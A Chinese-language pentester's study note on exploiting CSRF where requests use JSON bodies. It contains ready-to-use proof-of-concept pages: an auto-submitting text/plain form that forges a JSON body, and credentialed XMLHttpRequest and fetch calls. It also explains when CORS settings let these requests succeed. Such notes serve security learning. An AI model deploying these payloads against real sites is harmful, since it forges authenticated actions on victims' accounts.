碰到 Json_CSRF 怎么办？

前言

在最近挖洞的时候，老是碰到 POST 传参采用 JSON 格式，而不是传统的parameter=value的格式，之前也没接触过，所以也不知道该怎么搞，所以打算学习一下，此文作为一个笔记梳理。

前提知识

一般采用 Json 格式传输参数时，请求包中都有 Content-Type 头，一般服务器也会验证 Content-Type 值是否为 application/json，当服务器验证 Content-Type 时，若不符合要求，则会抛出异常，导致传输的数据失效

当简单的采用表单传输简单参数时，Content-Type 值为：x-www-form-urlencoded，传输的数据会被 URL 编码，传输文件时值为：form-data
给表单添加 enctype="text/plain" 属性时，Content-type 值为：text/plain

在使用 XMLHttpRequest 跨域发起请求时，浏览器首先会先进行一次 OPTIONS 预请求，查看目标网站是否支持跨域，如果支持，则浏览器会进行下一步，发送真实请求，否则会直接报错

突破限制的方法

下面统一假设 POST 传输的参数为：{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}

服务端不验证 `Content-Type` 的情况

特殊的表单，即构造一个键值对

<!DOCTYPE html>
<html>
<head>
	<title>Json_CSRF</title>
	<meta charset="utf-8">
</head>
<body>
<form id="test" enctype="text/plain" action="http://baidu.com" method="post">
	<input name='{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"' value='test"}'>
</form>
<script type="text/javascript">
	document.getElementById("test").submit();
</script>
</body>
</html>

可以看到请求包中：

传输的数据变成了：{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"=test"}
且请求头中：Content-Type: text/plain，当服务器后端严格校验 Content-Type 头时，该方法也就差不多没用了

利用 JS 中的 XMLHttpRequest，即 XHR，该方法要求目标网站支持跨域

<!DOCTYPE html>
<html>
<head>
	<title>Json_CSRF</title>
	<meta charset="utf-8">
</head>
<body>
<script type="text/javascript">
	function csrf(){
	      var xmlhttp = new XMLHttpRequest();
	      xmlhttp.open("POST","https://baidu.com",true);
	      xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
	      xmlhttp.withCredentials = true;
	      xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}));;
	}
	csrf();
</script>
</body>
</html>

首先，浏览器会发起一个 OPTION 请求，查询目标网站是否支持跨域

如果目标响应包中有 Access-Control-Allow-Credentials: true 代表允许携带 cookie，
有Access-Control-Allow-Origin:http://mysite.com 或者为 Access-Control-Allow-Origin:*，即代表支持跨域
浏览器便会携带 cookie 发起真实请求

注意：实际上百度并不支持跨域，此处只是为了方便演示

当目标网站不支持跨域，则浏览器将不会发起请求，导致该方法失效

当然，除了 XMLHttpRequest，fetch 也是一样的

<script>
      function csrf(){
            fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}'});
      }
      csrf();
</script>

服务端验证 `Content-Type` 的情况

XHR
跟上面一样，也是利用 XMLHttpRequest
flash

可惜，现在是个浏览器都会询问用户是否开启 flash，此举难以成功，而且不久，flash 就会被废弃